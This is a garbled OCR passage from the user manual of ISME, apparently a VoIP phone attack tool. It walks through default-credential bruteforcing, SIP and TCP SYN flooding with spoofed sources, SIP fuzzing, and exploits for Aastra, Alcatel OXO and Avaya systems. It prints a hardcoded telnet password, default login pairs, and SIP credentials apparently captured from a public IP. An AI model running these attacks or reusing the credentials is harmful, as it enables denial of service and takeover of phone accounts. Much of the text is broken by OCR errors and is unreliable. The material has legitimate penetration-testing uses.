This tool provide the capacity to detect if a webh service with
default credential is activated on a Mitel IP Phone,

w LA

Steps 2 to 5 are identical to 5.2 with Aastra phorse Please refer to it.

versions.

-» 5212
-+ 5215
-+ SEZ0
-» 5320
-» 5330
-» 5340

Note: MITEL IP Phones have different default login/passivdepending on models and

Default login/Password of the following MITEL IP Phones are tested:

Since there is one kind of password per type ofcgev¥here must be several tests for each
phone. Therefore, the sequence of verificatioeadly long. Be patient.

anon

|%| Test default MITEL Login/Password

File

~ Single IP Phone

IP address to scan (192.168.

# Scan a subnet

Subnet to scan (192.168.0.0/24):

0.154): |50.4.1 0613

|50.4.106.0/24

Unreachable
——————— Testing 50.4.106

130

E50.4.106.130: test admin/5340 - WARNING => used
——————— Testing 50.4.106. 131

Unreachahle
_______ Testing 50 4.106
Unreachable

——————— Testing 50.4.106.

Unreachable

——————— Testing 50.4.106.

Unreachahle

_______ Testing 50 .4, 106,

Unreachable

——————— Testing 50.4.106.

Unreachable

——————— Testing 50.4.106.

Unreachable

——————— Testing 50.4.106.

Unreachable

——————— Testing 50.4.106.

Unreachahle

——————— Testing 50.4.106.

Unreachable

——————— Testing 50.4.106.

Unreachahle

——————— Testing 50.4.106.

142

E50.4.106.142: No default loginfpassword.

_______ Testing 50,4, 106

L1432

L
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6.10- Polycom SoundPoint Web Bruteforcer

Step 1:Menu “Tools -> Polycom SoundPoint Web Bruteforcé&new window will open.

&N M [\ | ISME (IP Phone Scanning Made Easy)
File Ahout

G| o|p |5

Scanner Cisco Phone Ringer

Tools Cisco Phone 55H Detector
Exploits DHCP Starvation

Editors DNS Resolver

Mitel Web Bruteforcer

SNOM Weh Bruteforcer

Polycom Soundpoint Web Bruteforcer |
SIP Flooding

3IP Fuzzer - Protos

/ |TCP 5¥HN FlLood

This tool provide the capacity to detect if a web service with
default credential is actiwated on a Polycom Soundpoint IP Ph
one.

s _LAX |

Steps 2 to 5 are identical to Aastra phones. Pleassfer to it.

Note: Polycom soundpoint web server could be protectgdalthentication in different
manners. By default, only specific web pages aotepted. In this case, the messéye
login/password set to access the main web gui — MVR&” will appear. The obviou
counter measure is configuring a global authentinat

[72)

Step 4:Save the result
Select menu “File -> Save scan results”.

B || Test default SoundPoint Login/Password

£ |

Launch brute force attack
Save scan resulis

Exzit
el %| Test default SoundPoint Login/Password
File
# Scan asubnet
Subnet to scar- oo on aeee
i 800 | Save As
~ Single IFF
IP atidress to| Directory: fusersicedrichailletismeiuser_data - |
Starting to [ test main menu tt
------ Test
63,09 26 25
------ Test
63. 99 26 269
£3.00. 26, 26
|=
File name: | | ’&Tl
- | Cancel I
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6.11- SNOM IP Phones

Step 1:Menu “Tools->SNOM Web Bruteforcer”. A new windowlhopen.

anm \\| ISME (IP Phone Scanning Made Easy)

| File About |
2] 315

[Scanner :{ Cisco Phone Ringer 3-
Tools Cisco Phone S5H Detector

Exploits DHCF Starvation

Editors DHN3 Resolver

Mitel Weh Bruteforcer

SHOM Weh Bruteforcer

Polycom Soundpoint Weh Bruteforcer
31P Flooding

SIP Fuzzer - Protos

J |TCP 3¥N FLood

This tool provide the capacity to detect if a webh service with
default credential is activated on a SNOM IP Phone.

I ]

Steps 2 to 5 are identical to Aastra phones. Pleassfer to it.

versions. The following couples are currently tdste
e administrator/0000
e admin/admin
e administrator/0000

Note: SNOM IP Phones have different default login/passiaepending on models and

e -/0000
o M N Test default SNOM Login/Password
File
# |IP Phone from scanned subnet
Selected scan file {.isme): istersfc:edrichaiIletfismefsc:an_historyfzm 2-1-13-14hZ3mn -182.165.12 &l
- Single IP Phone
IP address to scan: |
Starting to test detected IP Phones for default SNOM Login/Password. .
File loaded: /Users/cedrichaillet/isme/scan history/2012-1-13-14h23mn -192.168.1
2 B0 isme
102 168,12 B5: No login/password set to access the web interface — WARNING -
192,168 12 87: test administrator 0000 - not used =)
192.168.12.87: test adnin/0000 - not used =)
192 168. 12 87: test adminSadmin - not used :-)
192 168 12 87: /0000 - not used -3
192,168 12 90: test administrator 0000 - not used =)
192,168 12 90: test admins0000 - not wsed -}
192.168. 12 90: test adminfadmin - not used :-)
182 168 12 90: /0000 - not used =)
192 168 12 94 : test administrator /0000 - not vsed =)
192 168 12 94 test admin 0000 - not used =)
192,168 12 94: test adminfadmin - not used ;-)
192 168 12 94: /0000 - not used -}
———————————————————————— e E el
¥
Date: 06/10/2013 By Cedric Balillet

Page 51



ISME v0.12

6.12- Tools: SIP Flooding

6.12.1- Concept

VoIP DMZ

T

\ﬂ\ Specific actions of IP Phones are no more
Illllll

- Starvation of SIP resources

"\S”:) Invite possible or get random errors

SCCP:TCP 2000
SIP: TCP/JDP 5060

6.12.2- Using ISME to do it

Step 1:To launch the attack interface, go to menu “TeslISIP Flooding”

fann |\ ISME (IP Phone Scanning Made Easy)
File Ahout |
Ge| p|E

Scanner

Cisco Phone Ringer

SHOM Web Bruteforcer

Polycom Soundpoint Web Bruteforcer
SIP Flooding

SIP Fuzzer - Protos

TCP 3N FlLood

Tools Cisco Phone 35H Detector
Ezploits DHCP Starvation
Editors DH3 Resolver
Mitel Web Bruteforcer
£

Simple SIP Flooding tool.

(> | < — >

Step 2:enter the target IP address and choose SIP meygeage

Lo M)
File

|X| SIP Flooding

IP Address of 3IP Device to flood: |T92.1 68.0.254]

INVITE |IX
OPTIONS [
REGISTER /

I 4]

Select SIP Message Type:

Step 3:Launch attack with the menu “File -> Launch SiBdsl".

o Tala!

[

Launch SIP Flood

[\ SIP Flooding

ice to flood: 192 166.0.254 |

. [roviTE |2
Exit ype: OPTIONS |
REGISTER 7
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Step 4: Stop flooding attack, just click on the bottomtbuat“Stop flooding”.

200 2\ SIP Flooding
File
IP Address of SIP Device to flood: |1 392.168.0.254 |
INVITE
Select SIP Message Type: OPTIOHNS J
REGISTER |
Start flooding
Stop flooding
£
Stop flooding I

6.12.3- Details of crafted packets

6.12.3.1- SIP Invite packet

= Session Initiatien Protocol
b Request-Line: INVITE sip:lsme_dest@l0.158.213.152 SIP/2.0
¥ Message Header
b Via: SIP/2.8/UCP 32.124.153.11;branch=zshc4ajk
P To: =sip:10.158.213.152@10.158.213.152=
b From: =sip:isme_src@32.124.153.11=; tag=qwzng
Call-ID: isme_src@32.124.153.11
I CSeq: 911319 INVITE
P Contact: sip:isme src@32.124.153.11
Content-Type: application/sdp
Max-Forwards: 70
User- Agent: ISME vO.3>
Subject: You've been flood

Source IP address is random for each packet.

6.12.3.2- SIP Options packet

¥ Session Initiation Protocol
P Regquest-Line: OPTIONS sip:10.158.213.152 SIP/2.0
= Message Header
b Via: SIP/2.0/UDP 124.46.128.40:9;branch=z8hG4jk
b From: =sip:lsme_src@l24.46.128.40=; tag=qwzng
b To: =sip:10.158.213.152=
Call-ID: 1sme src@lz4.46.128.40
F CSeq: 959070 OPTIONS
b Contact: sip:isme _src@l24.46.128.40
Max-Forwards: 70
User-Agent: ISME v0.5

Source IP address is random for each packet.

Date: 06/10/2013 By Cedric Balillet

Page 53



ISME v0.12

6.12.3.3- SIP Register packet

- Session Initlation Protocol
[

Request-Line: REGISTER sip:10.158.213.152 SIP/2.0
= Message Header
b Via: SIP/2.0/UDP 137.189.247.88:5060
P From: ISME <sip:lsme_src@l37.189.247.88>; tag=qwznhg
b To: TARGET =sip:target@l0.158.213.152=
Call-ID: 1sme-src@l37.189.247.88
b CSeq: 985714 REGISTER
P Contact: sip:lsme src@l37.189.247.88
Allow: NOTIFY
Allow: REFER
Allow: OPTIONS
Allow: INVITE
Allow: ACK
Allow: CANCEL
Allow: BYE
User-Agent: ISME vO.5

Source IP address is random for each packet.

6.12.4- performance issue

The script is sending an average of 16 000 pagetsecond on my computer.

If higher performance is necessary, | would recomit® use tools written in a language that
is not interpreted (sipsak for options flooding éxample — sipsak.org).
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6.13- Tools: SIP Fuzzer - Protos

6.13.1- Concept

Fuzz testing or fuzzing is a software testing tégi@, often automated or semi-automated,
that involves providing invalid, unexpected, or dam data to the inputs of a computer
program. The program is then monitored for excetisuch as crashes, or failing built-in
code assertions or for finding potential memonkéeduzzing is commonly used to test for
security problems in software or computer systems.

6.13.2- PROTOS SIP

Protos can be found at the
https://www.ee.oulu.fi/research/ouspg/PROTOS TesieScO7-sip

following url:

6.13.2.1- Test case details

Legend:

«  "Name" column represents the tag-names of thegtesips. Tags reflect the header
and field names in the protocol specification. Tegs be used to follow which parts
of the PDU are being tested.

- "Exceptional Elements" column describes which ekoepl element categories are
integrated in the test-group.

« "First Index #" and "Test Cases" columns descihigefirst test-case number for a test-
group, and the number of cases from there on.

. First Test
Name Exceptional Elements Index # Cases
valid n/a 0 1
SIP-Request-URI S|p-URI 194 61
SIP-Version sip-version 255 75
SIP-Via-Host ipv4-ascii 330 106
SIP-Via-Hostcolon overflow-colon 436 16
SIP-Via-Hostport integer-ascii 452 46
SIP-Via-Version sip-version 498 75
SIP-Via-Tag sip-tag 573 57
SIP-From- overflow-general, overflow-space, overflow- nuII
Displayname fmtstring, utf-8, ansi-escape 630 193
SIP-From-Tag sip-tag 823 57
SIP-From-Colon overflow-colon 880 16
SIP-From-URI sip-URI 896 61
SIP-Contact- overflow-general, overflow-space, overflow-null957 193

Displayname
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SIP-Contact-URI sip-URI 1150
SIP-Contact-Left- 00 jeftbracket 1211
Paranthesis
SIP-Contact-Right- overflow-rightbracket 1227
Paranthesis
SIP-To overflpw-general, oyerflow-space, overflow-null12 43
fmtstring, utf-8, ansi-escape
SIP-To-Left- overflow-leftbracket 1436
Paranthesis
SIP-To-Right- overflow-rightbracket 1452
Paranthesis
SIP-Call-Id-Value overflpw-general, oyerflow-space, overflow-null1468
fmtstring, utf-8, ansi-escape
SIP-Call-1d-At overflow-at 1661
SIP-Call-Id-Ip ipv4-ascii 1677
SIP-Expires integer-ascii 1783
SIP-Max-Forwards  integer-ascii 1829
SIP-Cseqg-Integer integer-ascii 1875
SIP-Cseq-String overflpw-general, oyerflow-space, overflow-null1921
fmtstring, utf-8, ansi-escape
SIP-Content-Type overflpw-general, oyerflow-space, overflow-null211 4
fmtstring, utf-8, ansi-escape, content-type
SIP-Content-Length  integer-ascii 2361
SIP-Request-CRLF  crlf 2407
CRLF-Request crif 2417
SDP-Attribute-CRLF crlf 2427
SDP-Proto-v- overflow-general, overflow-space, overflow-null
e ) . 2437
Identifier fmtstring, utf-8, ansi-escape
SDP-Proto-v-Equal  overflow-equal 2630
SDP-Proto-v-Integer integer-ascii 2646
SDP-Origin- overflow-general, overflow-space, overflow-null
) . 2692
Username fmtstring, utf-8, ansi-escape
SDP-OriginSessionicinteger-ascii 2885
SDP-Origin- overflow-general, overflow-space, overflow-null
) ) 2931
Networktype fmtstring, utf-8, ansi-escape
SDP-Origin-Ip ipv4-ascii 3124
SDP-Session overflpw-general, oyerflow-space, overflow-null3230
fmtstring, utf-8, ansi-escape
SDP-Connection-  overflow-general, overflow-space, overflow-null
. 3423
Networktype utf-8, fmtstring
SDP-Connection-Ip  ipv4-ascii 3611
SDP-Time-Start integer-ascii 3717
SDP-Time-Stop empty 3763
SDP-Media-Media  overflow-general, overflow-spawegrflow-null, 3764
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fmtstring, utf-8, ansi-escape
SDP-Media-Port integer-ascii 3957 46

overflow-general, overflow-space, overflow-null

SDP-MediaTransport ) i
fmtstring, ansi-escape

4003 118

SDP-Media-Type integer-ascii 4121 46
SDP-Attribute- overflow-general, overflow-space, overflow-null

) . 4167 118
Rtpmap fmtstring, ansi-escape

SDP-Attribute-Colon overflow-colon 4285 16
SDP-Attribute-
Payloadtype

SDP-Attribute-
Encodingname
SDP-Attribute-Slash  overflow-slash 4465 16

SDP-Attribute-
Clockrate

integer-ascii 4301 46

integer-ascii 4347 118
integer-ascii 4481 46

6.13.2.2- Using ISME to do it

Step 1:To launch the attack interface, go to menu “TeslSIP Fuzzing — Protos”

NYalla) % ISME (IP Phone Scanning Made Easy)
| File Ahout I

Gl bl

|Scanner ‘:‘:!ﬁscu Phone Ringer ":
Tools iﬁscn Phone SSH Detector
Exploits |DHCP Starvation
Editors |DNS Resolver

| Mitel Weh Bruteforcer

|SHOM Weh Bruteforcer

|Polycom Soundpoint Weh Bruteforcer

isw Flooding

| SIP Fuzzer - Protos |

/| TCP S¥N FLood v

GUI for protos SIP fuzzing tool Al

Step 2:Enter the target IP address (one target only)

ANm 1\ SIP Fuzzing (protos)
‘ File

Target IP Address (192.166.1.1): [192 1660254

Select fuzzing method: ~ Yes (All fuzzing cases) # Mo (Selected fuzzing cases)
SIP-Method (1-193) A
SIP-Request-URI {194-254) | J

BIP-Version (255-329)
SIP-Via-Host (330-435)
SIP-Via-Hostcolon (436-451)
SIP-Via-Version (498-572)
SIP-Via-Tag (573-629)
S1P-From-Displayname (630-622)
SIP-From-Tag (823-879)
SIP-From-Calon (880-895)

Select fuzzing method:

£

=

Detail of fUZZlng cases can be found either in ISME documentation or on PROTOS
web site (https:/fwew. ee. oulu Fi/ressarch/ouspg/PROTOS Test-Suite_c07-sip)
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Step 3:Select the fuzzing method.
- Yes (all fuzzing case): run the 4527 fuzzing castuded in protos sip.
- No (Select fuzzing cases): run only specific caedsst a particular area.

Step 4:
If the running of all the tests has been select®¥@s (all fuzzing case) - we could proceed
with the launching. Go to menu “File -> Launch fumgsession”.

anem |\| SIP Fuzzing (protos)

File |

My 192.168.0.254 |
-~ Yes (Al fuzzing cases) ¥ No (Selected fuzzing cases)
[SIP-Method (1-193) X

Launch fuzzing session
Exit

Else, it is necessary to select the test casestimatid be run by selecting it through the “Select
fuzzing method” menu.

SIP-Method (1-193) N
SIP-Request-URI (194-254) J
SIP-Yersion {255-329)

SIP-Via-Host (330-435)

31P-Via-Hostcolon (436-4591) |
SIP-Via-Version {438-572)

SIP-Via-Tag (573-629)

SIP-From-Displayname {630-822)
SIP-From-Tag (823-879)

SIP-From-Colon {880-895) v

Select fuzzing method:

Once the selection is done, launch the fuzzinguind'File -> Launch fuzzing session”.

Step 5: once the fuzzing session is terminated, have & twothe target to see if it's still
working properly...

. Nale) 1\ SIP Fuzzing (protos)
File

Target IP Address (192.168.1.1): |192.168.0.254 |

Select fuzzing method: ~ Yes (All fuzzing cases) @ HNo (Selected fuzzing cases)
SIP-Method (1-193) Y
SIP-Request-URI (194-254) _I

SIP-Version {255-329)
SIP-Via-Host (330-435)
SIP-Via-Hostcolon {436-451)
SIP-Via-Version (498-572)
SIP-Via-Tag (573-629)
SIP-From-Displayname {630-822)
SIP-From-Tag (623-679)
SIP-From-Colon {G680-893) /

Select fuzzing method:

Sending Test-Case #186
test-case #186, 572 bytes
Sending Test-Case #1587
test-case #187, 860 bytes
iISending Test-Case #1828
test-case #1988, 3548 bytes
Isending Test-Gase #189
test-case #189, 492 bytes
ISending Test-Case #190
| test-case #1890, 545 bytes
Isending Test-Case #191
| test-case #191, 2528 bytes
Sending Test-Case #1902
test-case #1092, 482 bytes
Isending Test-Case #193
test-case #193, 479 bytes

I

EEnd of SIP fuzzing session
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Note: running a sniffer (wireshark) on your computerlvpifovide the capacity to analyze
what is sent and what are the answers.

AN |\ | en0
File Edit \Wiew Go Capture Analyze Statistics Telephony Tools Internals Help

B & & |:-z.@se@g-f'-%-wp@a>?;ﬂ_qo\0l@ -
Filter: | _JE)(pressmn Clear Apply Enregistrer

No, Time Source Destination Protocal | Info <]

Datagram Protocol Src Port 51p (5060}' Dst Port 31p (5060)
= Sessilon Initiation Protocol
P Request-Line: 4300 sip:sip@53.99.26.26 SIP/2.0
< Message Header
b Via: SIP/2.0/UDP 44.190.62.13:5060;branch=z9hG4bK0000133000132
b From: 133 <sip:isme@44.1850.62.13>;tag=133
P To: Recelver =sip:sip@63.99.26.26>

~211 Tre Tmmaaa 1en = 1o -'J

@ |Frame (frame), 515 bytes | Packets: 769 Displayed: 769 Marked: 0 Drop... :| Profile: Default
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6.14- TCP SYN FLood

6.14.1- Concept

TCP Starvation is an old and well known attack. étbeless, it is still effective against
services using TCP that are not protected by avéile Thus, a CUCM could be render
useless with a simple PC through a TCP Starvattaclaon signalization port.

VolP DMZ

- Starvation of TCP ressources on the target port
Synchronization between server & IP Phones is down

IP Phones are freezed then reboot to resynchronize

SCCP:TCP 2000
SIP: TCR/UDP 5060

6.14.2- Using ISME to do it

To launch the attack interface, go to menu “Tool&AN: TCP SYN Flood”

ANM | ISME (IP Phone Scanning Made Easy) |
File  About |
Gl e|p |
Scanner 'E Cisco Phone Ringer S
Tools Cisco Phone S3H Detector
Exploits DHCP Starvation
Editors DHS Resolver
Mitel Web Bruteforcer
SHOM Web Bruteforcer
Polycom Soundpoint Web Bruteforcer
SIP Flooding
SIP Fuzzer - Protos
/ |TCP S¥YH FlLood | ¥
Simple TCP flooder. Y

Enter CUCM IP address and choose signalizationtpdtbod.
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alale) |\| TCP Syn Flood
File
IP Atdress to flood (192.168.1.1): |192.168.0.254] |
5060 (SIP)
TCP port to flood: 5061 (SIP TLS) ]
2000 (Skinny}) /
A
v
Stop flooding I
Go to menu “File ->Launch TCP SYN FLOOD”
o M ) [\ TCP Syn Flood
‘ ﬁlel
“““““““ Im Ay:|10158.213.159 |
Launch TCP S¥M Flood
) 5060 (SIP)
Eat 5061 (SIP TLS) N
2000 (Skinny) 4
A
yi
Stop flooding I_
To stop the flooding, use the button at the bottditine windows.
200 \| TCP Syn Flood
File
IP Address to flood (192.168.1.1): [10.158.213.159 |
5060 (SIP)
TCP port to flood: 5061 (SIP TLS) 7]
2000 {Skinny) /
Start. flooding on TCP Port: 2000 (Skinng)
Stop flooding on TCP Bort: 2000 (Skinny)
il
Stop flooding I
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Errors are sometime coming up in the console wireddwdo not know what is causing them
yet Nevertheless, it does not impact the attack seadevorry about it.

Thread 46 terminated abnormally: sendto{) at fopt/local/lib/perl5/sit .12.4/darwin-thread-n ]
ulti-2level/Net/RawIP.pm line 638.

Thread 47 terminated abnormally: sendto() at fopt/local/lib/perl5/site_perl/5.12.4/darwin-thread-m
ulti-2level/Net/RawIP.pm line 638.

Thread 48 terminated abmormally: sendto() at fopt/local/lib/perl5S/site_perl/5.12.4/darwin—thread-m
ulti-2level/Net/RawIP.pm line 638.

Thread 49 terminated abnormally: sendto() at fept/locals/lib/perl5/site_perl/5.12.4/darwin-thread-n
ulti-2level/Net/RawIP.pm line G38.

Thread 50 terminated abmormally: sendto() at fopt/local/lib/perl5/site_perl/5.12.4/darwin-thread-m
ulti-2level/Net/RawIP.pm line 638.

Thread 51 terminated abmormally: sendto() at fopt/local/lib/perlS/site_perl/5.12.4/darwin-thread-n
ulti-2level/Net/RawIP.pm line G38.

Attempt to free non-existent shared string '_ErrorInfo_', Perl interpreter: @x108B@8@@08 at fopt/la
cal/lib/perl5/site_perl/5.12.4/darwin-thread-multi-2level/Tk.pm line 424,

Thread 52 terminated abnormally: sendto() at fopt/local/lib/perl5/site_perl/5.12.4/darwin-thread-m
ulti-21level/Net/RawIP.pm line 638.

Thread 53 terminated abmormally: sendto() at fopt/local/lib/perls/site_perl/5.12.4/darwin-thread-m
ulti-2level/Net/RawIP.pm line 638.

Attempt to free non-existent shared string '_ErrorInfo_', Perl interpreter: @x100800800 at /opt/le
cal/lib/perl5/site_perl/5.12.4/darwin-thread-multi-2level/Tk.pm line 424.

Thread 54 terminated abmormally: sendto() at foptflocal/lib/perl5/site_perl/5.12.4/darwin—thread-m
ulti-2level/Met/RawIP.pm line 638.

cal/lib/perl5/site_perl/5.12.4/darwin-thread-multi-2level/Tk.pm line 424.

6.14.3- performance issue

The script is sending an average of 7 000 pacleatsgrond on my computer.

If higher performance is necessary, | would recomint® use tools written in a language that
is not interpreted (netwox option 76 for example).
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7-  Exploits
7.1- AastraIP Phone: hardcode telnet login/password

7.1.1- Description

VULNERABILITY :

Aastra IP Phones 67531 (at least) contain an hardcode telnet loginSpassword

CV¥E: none

Date: 2013-04-05 Public disclosure

Author: Timo Juhani Lindfors

Tested on Wersion:  Aastra 67531 IP Telephone, Firmware Version 3. 2.2 56, Firmw
are Release Code SIP, Boot Wersion 2.5.2.1010

Access Vector: Network exploitable

futhentication: No (log/pass by default)

Impact Type: Deny of serwice, loss of integrity

DESCRIPTION:

Description: The phone seems to ship with a hardcoded telnet password for the "a
dmin" user. Since the hashing algorithm is weak anybody can find working passwor
ds uwsing the "weororks mem search. rh" tool in a few seconds. One of them is "[M]g
ozn~". After logging in you get access to a ¥eWorks shell but for some reason mo
st conmands seem to crash the system. This might mean that the vulnerability can
only be vsed to cause denial of serwice but there is no guarantee.

WOREAROUND
Disable of filter telnet

Patch: unknown

7.1.2- Run the exploit

Select the exploit from Launcher windows.

[ M) % ISME (IP Phone Scanning Made Easy}

‘ File Abhout

Gl p|E

[Scanner '\ [aastra Weh Disclosure N
{Tools Aastra Phone telnet hardcode password |
|Exploits Alcatel 0X0 FTP Do3
Editors Avaya TFTP Disclosure

Mitel Web Disclosure

Mitel X335

Mitel Unauthenticated Command Execution
Polycom HDX Telnet Authorization Bypass
Polycom HTTF Do3 i

/ |Polycom Weh Disclosure 4
\Bastra IP Phones 6753 (at least) contain an hardcode telnet lo !'E.
ginfpassword, J

As usual, once IP Address or subnet have beeneehitewindows configure area, the exploit
could be launch through menu “File” or launch bot ).

“Details” tab : provides information on the exploit himself.
“Positive results” tab: Provide the list of vulnerable devices detectedrmduthe scan

“All logs tab”: Provides all the scan information.
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ANM % Aastra P Phone hardcode telnet password

| File

©|p|

— Configure

4 IP Subnet to test
Subnet (192.168.1.0/24): |12.239.219.DI24
-~ GSingle Aastra IP Phone to test

IP Phone address (192.168.1.1): |

Details | Positive results | Al logs |

Lavnching exploit A
12,239, 219.81; WARNING, positive to wulnerability
12,238,219 82 WARNING, positiwve to wulnerability

12,239, 219, 83: WARNING, positive to wulnerability

12 238 219 84: WARNING, positive to wulnerability

12. 239, 21885 WARNING, positive to wulnerability
12,230, 219 87: WARNING, positive to wulnerability
12,239,219 88: WARNING, positive to wulnersbility
12,239,219, 89; WARNING, positive to wulnerability

12 239 219 90 WARNING, positive to wulnershility

END

AOA |\ Aastra IP Phone hardcode telnet password
| File

— Configure

4 IP Subnet to test

Subnet (192.168.1.0/24): |12.239.2‘I 3.0/24

~ Single Aastra IP Phone to test

IP Phone address (192.168.1.1): I

Details | Positive results I All logs |

Launching exploit =
12,239,219 1: Trying to connect

12,839,219, 1: Connected

12 230 219 1: Dewvice not wulnerable or connection timeout
12,239 219 2 Trying to connect

12,230,219 2: Cormected

12,239, 219 2: Device not vulnerable or connection timeout
12,239,219 3: Trying to connect

12,239,219 3: Cornected

12,239 219 3: Device not vulnerable or connection timeout
12.239.219.4: Trying to conneckt

12.239 219 4: Connected

12 239 219 4: Dewvice not wvulnerable or connection timeout
12,239,210 5 Trying to connect

12,239, 219 5: GCornected

12.239.219.5: Device not vulnerable or connection timeout
12,239,219 6: Trying to connect

12,239, 219.6: Connected

12,239,219 6: Device not wulnerable or connection timeout
12,239 219 7. Trying to connect

12 230 219 7: Connected

12,239,219, 7: Device not vulnerable or comnection timeout
12,239,219 8: Trying to connect

12,239,219 8: Cornected

12 239, 219.8: Dewvice not wulnersble or connection timeout

12 239 219 9. Tiving to connect ,
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Aastra SIP Phone: Web GUI information disclosure

7.2.1- Description

Wulnerability: Polycom IP Phone Weh Interface Data Diclosure Vulnerability
OSVDE-ID: 72941

EDE-ID: 17376

Date: 08/06/2011

Author; ¥akic Wizman

Wehsite Link: http: /Amme sastoa. com

Tested on Wersion: 551, 67574, 91431, 94801

Patch: unknown

DATA DISCLOSUEE:

The data disclosure wulnersbility has beesn found in the section of 'Global SIP'
of Aastra IP Phone software. The wulnerability allows the attacker to disclose
the password of the SIP profile that is vsed to connect to ISP or PBE,

To exploit the wulnerability and diclose the data we need to access the web GUI
|fbw through this url http://address/glohalSIPsettings html, or this one

ihttp ffaddress/SIPsettingsLinel html. we now hawve Caller ID, Authentication,
{Name, and Password. By editing the source code. we are able to see account
name, password and SIP registrar fields in clear.

A1l the needed information to sppof the identity of the user are awailable ...

WOREAROUND

Diszble the weh interfaces as soon as possible:
Cha.nge default passwords.

.Keep IP Address private (public networks are to avoid)

7.2.2- Run the exploit

Step 1:To launch the attack interface, go to menu “Expler Aastra Web Disclosure”.

Step 2:

[ NG | ISME (IP Phone Scanning Made Easy)

File About |
e b5
[Scanner "\ [pastra Weh Disclosure |
Tools Alcatel OX0 FTP Do3

Exploits Avaya TFTP Disclosure

Editors Mitel Weh Disclosure

Mitel X35

Mitel Unauthenticated Command Execution
Polycom HTTF Do3

Polycom Web Disclosure

SHOM Call Remote Tapping

B

L Ll I > |

Select the type of target (single or subnet) agchlpassword type (default or specific).

Step 3:Enter information regarding IP address, subnefardgin/password.

anmn i_\i Aastra IP Phone Infui'mation Disclosure Vulnerability

| File |

« IP Subnet to scan with default login/password
Subnet (192.168.1.0/24): |
% Single IP Phone to scan with default loginfpassword
IP Phone address (192.168.1.1): i
~ Single IP Phone to scan with specific login/password
IF Phone address (192.168.1.1): I
IP Phone login: |

IP Phone passwiord: |
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4% Single IP Phone to scan with specific loginfpassword
IP Phone address {192.168.1.1): |E4.201 187144

IP Phone login: admin

IP Phone password: zzzzd

Step 4:launch the exploit (go to menu “File -> Launch lextd)

AN i_‘_\; Aastra IP Phone Information Disclosure Vulnerability ]

el

th default login/password

Vulnerahility detalls

Launch exploit

an with default login/password
Save scan results ;
- 8.1 1 ¥ _ _

Error message that could arise

IP Phone seems to be down (retry a second timeingetisat it's not a timeout due to some
delay).

Unable to connect to web server (either web samavailable or bad authentication).

Aastra phone IP address:6d. 201,187 249
Error: Unszhle to get web page.
—rerror_as_HIML

Step 6:analyze results

[ M W] |\| Aastra IP Phone Information Disclosure Vulnerability
File

«~ IP Subnet to scan with default login/password
Subnet (192.168.1.0/24): |
~ dingle IP Phone to scan with default loginfpassword
IP Phone address (192.168.1.1): I
% Single |P Phone to scan with specific loginfpassword
IP Phone address (192.168.1.1}): IE4.201 Jdar44

IP Phone login: admin

IP Phone password: 22222

=

Launch exploit

Aastra phone IP address:64.201.187. 144
global SIP parameters:
Galler ID: 2413330435
muthentication name:aastradls
Password: password
Proxy server: as. lopl. broadworks net
Registrar server: as.iopl.broadworks.net
SIP line (1) paramesters:
Authentication name:
Password
Proxy server: 0.0.0.0

END

Note: do not forget to save the (“File-> save scan te%ak usual).
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7.3- Alcatel-Lucent OXO0: FTP Denial of Service

7.3.1- Description

&k

€ connectto FTP service with the default login/password

@ senaarile biggerthen 200 Mo

o Take notice of the OXO crash and wait a long time before it comes up

This issue has been verified on an OXO 8.0.

7.3.2- Run the exploit

Select the exploit from Launcher windows.

[ W W) %/ ISME (IP Phone Scanning Made Easy)
| Fle About
Glep|
Scanhner '\, lAastra Web Disclosure A
Tools Alcatel 0X0 FTP DoS |
Exploits Avaya TFTP Disclosure
Editors Mitel Weh Disclosure

Mitel X33

Mitel Unauthenticated Command Execution

Folycom HTTP Do3

Polycom Weh Disclosure

SMOM Call Remote Tapping

4 /

Alcatel OO0 PTP Space 1s limited to Z00Mo. In wersion 8.0 and S
priosc, no verification 1s done on the size of the file that ca i
n be uploaded on the 0X0. If the file's size is bigger than th
e maximum size, the PBX will crash. It will take around 20 min
utes to reboot.

Once the applicative module window has come ugcsel file to send to FTP Serve;‘l ).

Beware, the file must be bigger than 250 Mo toltths OXO.
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[aNala] %| Alcatel-Lucent - Denial of Service through FTP

File
©| 5| b
~ Configure

Selected file to send on FTP service (>= 250 Mo): |
Alcatel-Lucent OX0 IP address (192.166.0.154): I

Y Open
Details | Pos| B.Ops
Directory: {fUsersicedrichailletfisme _.|
};I]{gag,gltﬁ};m Heric_scanner.pl [ skinny_apih [ testz.pl g’}gnsizad
is higger th|i.oldpl [0 skinny_protocal.c d 20 miny
tes to rebodfipl [ skinny_protocolh
tallPerlbodulevd.§ skinny_tahles.c
Date: ovenn | 1“0 . B .'ém?—‘t;hiésﬁ
Applicative | P . ¥
tel-reflexion b 0 tempbtmt L
nny_api.c [ testpl
=
File name: [skinny_tahles.c | Open
_.| cancel |

As usual, once the OXO IP Address has been enter@thdows configure area, the exploit
could be launch through menu “File” or launch but(-v_|).

“Details” tab : provides information on the exploit himself.

“Positive results” tab: Nothing to wait there. Either the OXO is vulnerabbeexploit and
crash or not ...

“All logs tab”: provides all information FTP connexion to OXO s&tv
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7.4- Avaya Ip Office Linux TFTP data disclosure

7.4.1- Description

Avaya IPOL

port:63

TFTP service|

o Connectto TFTP service and ask for specificfiles

e Get the files and analyze them

Go tohttp://ipo.wikidot.com/tftps#toc2for further information.

7.4.2- Run the exploit

Select the exploit from Launcher windows.

o L | ISME (IP Phone Scanning Made Easy)

File About
e p|E
3canner -_'\Tnastra Weh Disclosure 1‘7
Tools Alcatel 0XO FTP Do3
Exploits |\Avaya TFTP Disclosure |
Editors Mitel Web Disclosure

i
£

Mitel X35

Mitel Unauthenticated Command Execution
Polycom HTTP Do3

Polycom Web Disclosure

SNOM Call Remote Tapping

email passwords, ...

Awvaya IPOL TETP server provides access to seweral files contai| §
ning sensible information sbout PEX configuration. This applic|
ative module offer the pgossibility to get them, and thus, gain
knowledge shout system, user, extension, phone activity, woic

=

As usual, once the configuration information arevided, the exploit could be launch
through menu “File” or launch buttonv_‘| ).

“Details” tab : provides information on the exploit himself.

“Positive results” tab: Provides information about PBX use and configuratichen TFTP
connection is positive.

“All logs tab™: provides all status and information.
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A0 '\ Avaya IP Office Linux TFTP data disclosure

oblE

IP Office Linux IP Address (192.166.1.1):  |192.168.0.254

System Informations
User List J
Extension List

call List i/

Select information type to retrieve:

Details | Pnsiﬁve_-results'l Al logs |

| AN

|.Lau.nch attack - System Informations

System informations

mac="e4115b12d7he" type="IP0-Linux-PC" class="CPU" icon="0" wer="8.1.91 (6)" nam
e="5TH PRIMAIRE" licensed="6" requiredLicense="g"

state="3"

Extension list

User list

